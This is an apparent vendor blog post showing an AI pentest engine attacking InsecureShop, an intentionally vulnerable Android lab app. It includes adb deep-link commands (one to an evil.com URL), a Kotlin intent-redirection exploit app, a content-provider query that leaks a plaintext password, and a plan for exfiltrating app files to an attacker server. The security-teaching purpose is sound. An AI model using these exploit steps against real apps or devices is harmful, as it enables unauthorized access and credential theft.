Sun 31 August 2025
Ostorlab's AI Pentest Engine is designed to replicate the complex, multi-step process of an expert human security researcher. It doesn't just run a scanner and report the output; it forms hypotheses, tests them, and validates its own findings.
To put this to the test, we pointed the engine at the InsecureShop
Android application with the objective of testing for Intent Redirection vulnerabilities. The goal of testing a vulnerability class is defined by a threat intelligence module that identifies all the risks and the context to test for, but more on that in later posts.
What followed was an elegant & fast pentesting process. The AI engine decompiled the application, identified potentially vulnerable components through static analysis, and then rigorously attempted to validate each finding using dynamic analysis and proof-of-concept applications.
This post documents the engine's complete, unedited workflow, highlighting not only its ability to find critical bugs but, just as importantly, its capacity to confirm or exclude them.
Test Plan Generation
The first step of AI Engine is developing a 10-task methodology with the following objectives:
- Identify all exported application components and their intent filters
- Analyze intent handling for potential redirection flaws
- Fuzz components with malicious intents to trigger unintended behavior
- Develop full proof-of-concept applications for confirmed vulnerabilities
Plan Breakdown
- APK Decompilation - Extract AndroidManifest.xml file, resources, and source code for mapping the application's attack surface
- Component Analysis - Enumerate all activities, services, and broadcast receivers, focusing on components with
android:exported=true
- Intent Filter Documentation - Document actions, categories, and data schemes for each exported component
- Source Code Review - Examine exported components for patterns where Intent objects are created or extracted from received intent extras
- Environment Setup - Install application on test device with logging and monitoring tools enabled
- Malicious Intent Crafting - Create intents with nested intents embedded in extras bundles to test redirection capabilities
- Privilege Escalation Testing - Target non-exported components through nested intents to test for unauthorized access
- System Monitoring - Monitor logcat and application behavior for signs of successful intent redirection
- PoC Development - Create Android applications demonstrating security impact through malicious intent crafting
- Documentation - Document findings with vulnerable components, malicious intents used, and PoC source code
Engine Step-by-Step Reasoning
Decompile the APK and meticulously analyze the AndroidManifest.xml file. The goal is to create a comprehensive and definitive list of all exported components (activities, services, and broadcast receivers). The expected outcome is a list of component names marked with android:exported="true".
Step1: run_decompile_apk
:
- Tool name: run_decompile_apk
- Args:
apk_path='/REDACTED/InsecureShop.apk'_
AndroidManifest.xml
:
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" package="com.insecureshop">
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<application android:debuggable="true" ...>
<activity android:name="com.insecureshop.WebViewActivity">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="insecureshop" android:host="com.insecureshop"/>
</intent-filter>
</activity>
<activity android:name="com.insecureshop.WebView2Activity" android:exported="true">
<intent-filter>
<action android:name="com.insecureshop.action.WEBVIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</activity>
<activity android:name="com.insecureshop.PrivateActivity" android:exported="false"/>
...
<provider android:name="com.insecureshop.contentProvider.InsecureShopProvider" android:readPermission="com.insecureshop.permission.READ" android:exported="true" android:authorities="com.insecureshop.provider"/>
<service android:name="net.gotev.uploadservice.UploadService" android:enabled="true" android:exported="true"/>
</application>
</manifest>
Finding 1: Local File Inclusion in WebViewActivity
The AI's static analysis of WebViewActivity.java
and its corresponding manifest entry led to a hypothesis: the activity could be tricked into loading local files via the url
parameter in a custom URI, indicating a potential Local File Inclusion (LFI) vulnerability.
The AI then moved to validate this hypothesis.
Step 1: Trigger the Webview
- Tool name: adb
- Args:
shell am start -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=https://evil.com
Step 2: Result Observation
- Tool name: run_take_screenshot
- Output: Successfully captured 1 screenshots.
Step 3: Create Test File
- Tool name: adb
- Args:
shell echo <html><body><h1>Vulnerability Confirmed</h1></body></html> > /data/local/tmp/validation.html
Step 4: Attempt to Load Local File via Intent
- Tool name: adb
- Args:
shell am start -a android.intent.action.VIEW -d "insecureshop://com.insecureshop/web?url=file:///data/local/tmp/validation.html"
Step 5: Result Observation
- Tool name: run_take_screenshot
- Output: Successfully captured 1 screenshots.
Finding 2: Intent Redirection in WebView2Activity
The analysis of com.insecureshop.WebViewActivity
revealed a local file inclusion vulnerability. The AndroidManifest.xml
shows another exported activity, com.insecureshop.WebView2Activity
, which is activated by the custom action com.insecureshop.action.WEBVIEW
. The next task is to investigate this second WebView activity to determine if it shares a similar vulnerability or has other flaws in its intent handling.
Next, the AI analyzed WebView2Activity
, an exported activity that appeared to launch any Intent
passed to it as a Parcelable
extra named extra_intent
. This is a classic pattern for Intent Redirection, which could allow a malicious app to launch non-exported components.
To validate this, the AI constructed and deployed a proof-of-concept malicious application designed to exploit this flaw and launch the non-exported PrivateActivity
.
Step1: Build and Install PoC
Tool name: run_build_app
Args:
Imports
:
import android.content.ComponentName
import android.content.Intent
import android.os.Bundle
import androidx.appcompat.app.AppCompatActivity
PoC Application Code
:
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
val maliciousIntent = Intent()
maliciousIntent.component = ComponentName("com.insecureshop", "com.insecureshop.PrivateActivity")
val wrapperIntent = Intent()
wrapperIntent.component = ComponentName("com.insecureshop", "com.insecureshop.WebView2Activity")
wrapperIntent.action = "com.insecureshop.action.WEBVIEW"
wrapperIntent.putExtra("extra_intent", maliciousIntent)
startActivity(wrapperIntent)
}
}
Tool name: adb
Args:
install /REDACTED/pentestingApp-debug.apk
Output:
Performing Streamed Install
Success
Step2: Launch PoC and Observe
Tool name: adb
Args:
shell am start -n com.example.pentestingapp/.MainActivity
Output:
Starting: Intent { cmp=com.example.pentestingapp/.MainActivity }
Tool name: run_take_screenshot
Output: Successfully captured 1 screenshots.
Finding 3: Credential Leak via InsecureShopProvider
Having found significant vulnerabilities in two exported activities, have we gathered enough information to understand the application's primary weaknesses, or would a more thorough investigation into other exported components, such as the InsecureShopProvider
content provider, yield a more complete picture of the overall security posture?
The AI identified an exported content provider protected by a normal
-level permission, suggesting any app could query it. Static analysis of InsecureShopProvider.java
indicated it returned stored user credentials.
An exported content provider, com.insecureshop.contentProvider.InsecureShopProvider
, was identified as a potential information leak. The provider is protected by the com.insecureshop.permission.READ
permission. However, the permission is defined without a protectionLevel
, which defaults to normal
, meaning any app can be granted this permission upon installation without user interaction. The provider's source code suggested that it queries and returns user credentials stored in SharedPreferences
.
Evidence from Manifest:
<provider
android:name="com.insecureshop.contentProvider.InsecureShopProvider"
android:readPermission="com.insecureshop.permission.READ"
android:exported="true"
android:authorities="com.insecureshop.provider"/>
<permission android:name="com.insecureshop.permission.READ"/>
The InsecureShopProvider.java
code shows that the query
method returns a cursor containing the username and password stored in the application's shared preferences, ignoring any selection criteria.
@Override // android.content.ContentProvider
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {
Intrinsics.checkParameterIsNotNull(uri, "uri");
UriMatcher uriMatcher2 = uriMatcher;
if (uriMatcher2 != null && uriMatcher2.match(uri) == 100) {
MatrixCursor cursor = new MatrixCursor(new String[]{"username", "password"});
String[] strArr = new String[2];
String username = Prefs.INSTANCE.getUsername();
if (username == null) {
Intrinsics.throwNpe();
}
strArr[0] = username;
String password = Prefs.INSTANCE.getPassword();
if (password == null) {
Intrinsics.throwNpe();
}
strArr[1] = password;
cursor.addRow(strArr);
return cursor;
}
return null;
}
Step1: Query Content Provider
:
Tool name: adb
Args:
shell content query --uri content://com.insecureshop.provider/insecure
Step2: Analyze Output
:
The command returned values for the username and password fields.
Row: 0 username=shopuser, password=!ns3csh0p
Going even further
Unauthorized File Exfiltration via UploadService
Analyze the exported service net.gotev.uploadservice.UploadService
. Review its source code to understand how it can be triggered and what parameters it accepts. The goal is to determine if a malicious application can craft an intent to start this service and force it to upload arbitrary local files from the device's storage.
Finally, the engine identified an exported upload service that could potentially be triggered by a malicious app to exfiltrate private files. A successful exploit would require crafting a Parcelable
object to pass as an Intent extra.
The AI attempted to build a PoC application for this purpose. However, the available tooling did not support the inclusion of the third-party library (net.gotev:android-upload-service
) needed to construct the required objects.
The net.gotev.uploadservice.UploadService
is declared in the AndroidManifest.xml
with android:exported="true"
, making it accessible to any application on the device.
<service android:name="net.gotev.uploadservice.UploadService" android:enabled="true" android:exported="true"/>
The UploadService
is designed to handle file uploads based on parameters passed via an Intent. Specifically, it accepts a taskClass
string and a Parcelable
object called taskParameters
. The service does not perform any validation on the calling app or the parameters within the intent.
A malicious app can construct an Intent that specifies a valid UploadTask
class (e.g., net.gotev.uploadservice.MultipartUploadTask
) and provides UploadTaskParameters
containing:
1. An arbitrary server URL controlled by the attacker.
2. A path to a sensitive file within the InsecureShop app's sandboxed storage (e.g., /data/data/com.insecureshop/shared_prefs/Prefs.xml
, which stores user credentials).
PoC Build Attempt
:
{"tool_name": "run_build_app", "content": "AssembleDebug failed: ./gradlew assembleDebug\nError: e: ... Unresolved reference: UploadTaskParameters"}
Without the ability to build the PoC, the vulnerability could not be tested.
Conclusion: Inconclusive
We do newsletters, too
Get the latest news, updates, and product innovations from Ostorlab right in your inbox.